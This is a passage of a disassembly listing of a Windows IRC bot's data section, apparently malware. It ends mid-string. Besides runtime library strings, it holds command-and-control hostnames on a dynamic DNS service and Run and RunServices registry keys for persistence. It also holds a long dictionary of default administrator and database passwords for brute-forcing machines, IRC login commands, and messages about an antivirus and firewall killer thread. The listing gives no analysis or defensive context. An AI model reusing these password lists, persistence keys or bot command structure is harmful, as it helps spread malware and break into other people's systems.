423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; ___:off_43DAE4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o ; ___:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: ___:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: ___:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC dd 5 dup(5126D19Fh), 5 dup(35DBB204h), 75h dup(0) dd 35DBB204h, 15h dup(0) dd 5126D19Fh, 6 dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041C183o dd offset loc_401205 dd offset sub_40DB3C dd offset dword_40EF1C+1D0h dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo dword_429014 dd 0 ; DATA XREF: ___:0041C174o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset word_424F62 dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset byte_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aSbrsfgf db 'sbrsfgf',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_40445Do ... aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 73767265h, 6578652Eh, 0 dd 6E6E6977h, 61622E74h, 74h aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: ___:004294B0o aMain db 'main',0 ; DATA XREF: ___:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o aBlank db 'blank',0 ; DATA XREF: ___:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A0o align 10h aControl db 'control',0 ; DATA XREF: ___:0042949Co aXp db 'xp',0 ; DATA XREF: ___:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00429494o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o align 4 aDell db 'dell',0 ; DATA XREF: ___:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: ___:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o align 4 aSql db 'sql',0 ; DATA XREF: ___:0042946Co aSa db 'sa',0 ; DATA XREF: ___:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o align 4 aData db 'data',0 ; DATA XREF: ___:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o align 10h aAccess db 'access',0 ; DATA XREF: ___:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429434o align 4 aHello db 'hello',0 ; DATA XREF: ___:00429430o align 4 aHell db 'hell',0 ; DATA XREF: ___:0042942Co align 4 aGod db 'god',0 ; DATA XREF: ___:00429428o aSex db 'sex',0 ; DATA XREF: ___:00429424o ; ___:off_438A68o aSlut db 'slut',0 ; DATA XREF: ___:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o align 4 aLogin db 'login',0 ; DATA XREF: ___:00429404o align 10h aMary db 'mary',0 ; DATA XREF: ___:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: ___:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: ___:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: ___:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: ___:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: ___:004293E4o aNeil db 'neil',0 ; DATA XREF: ___:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: ___:004293DCo aBrian db 'brian',0 ; DATA XREF: ___:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: ___:004293CCo aSam db 'sam',0 ; DATA XREF: ___:004293C8o aLuke db 'luke',0 ; DATA XREF: ___:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004293C0o ; ___:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: ___:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: ___:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293ACo aJen db 'jen',0 ; DATA XREF: ___:004293A8o aBob db 'bob',0 ; DATA XREF: ___:004293A4o ; ___:004293F8o aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co aAsd db 'asd',0 ; DATA XREF: ___:00429398o aQaz db 'qaz',0 ; DATA XREF: ___:00429394o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: ___:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o aOem db 'oem',0 ; DATA XREF: ___:00429370o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; ___:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o align 10h aHome db 'home',0 ; DATA XREF: ___:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: ___:00429358o ; ___:004294B4o align 4 aWww db 'www',0 ; DATA XREF: ___:00429354o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; ___:00429350o aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co aMail db 'mail',0 ; DATA XREF: ___:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00429340o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; ___:00429338o align 4 aSystem db 'system',0 ; DATA XREF: ___:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: ___:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: ___:00429320o align 4 aNone db 'none',0 ; DATA XREF: ___:0042931Co align 10h aTest db 'test',0 ; DATA XREF: ___:00429314o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; ___:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: ___:00429308o align 10h a2001 db '2001',0 ; DATA XREF: ___:00429304o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o a123456 db '123456',0 ; DATA XREF: ___:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: ___:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292E4o align 4 a123 db '123',0 ; DATA XREF: ___:004292E0o a12 db '12',0 ; DATA XREF: ___:004292DCo align 4 a1: ; DATA XREF: ___:0040AFC7o ; ___:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D4o aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o aPass db 'pass',0 ; DATA XREF: ___:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: ___:004292B8o aDb2 db 'db2',0 ; DATA XREF: ___:00429460o aOracle db 'oracle',0 ; DATA XREF: ___:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429440o align 4 aDefault db 'default',0 ; DATA XREF: ___:00429330o aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o aStudent db 'student',0 ; DATA XREF: ___:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: ___:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_4100B4+EAo ... unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: 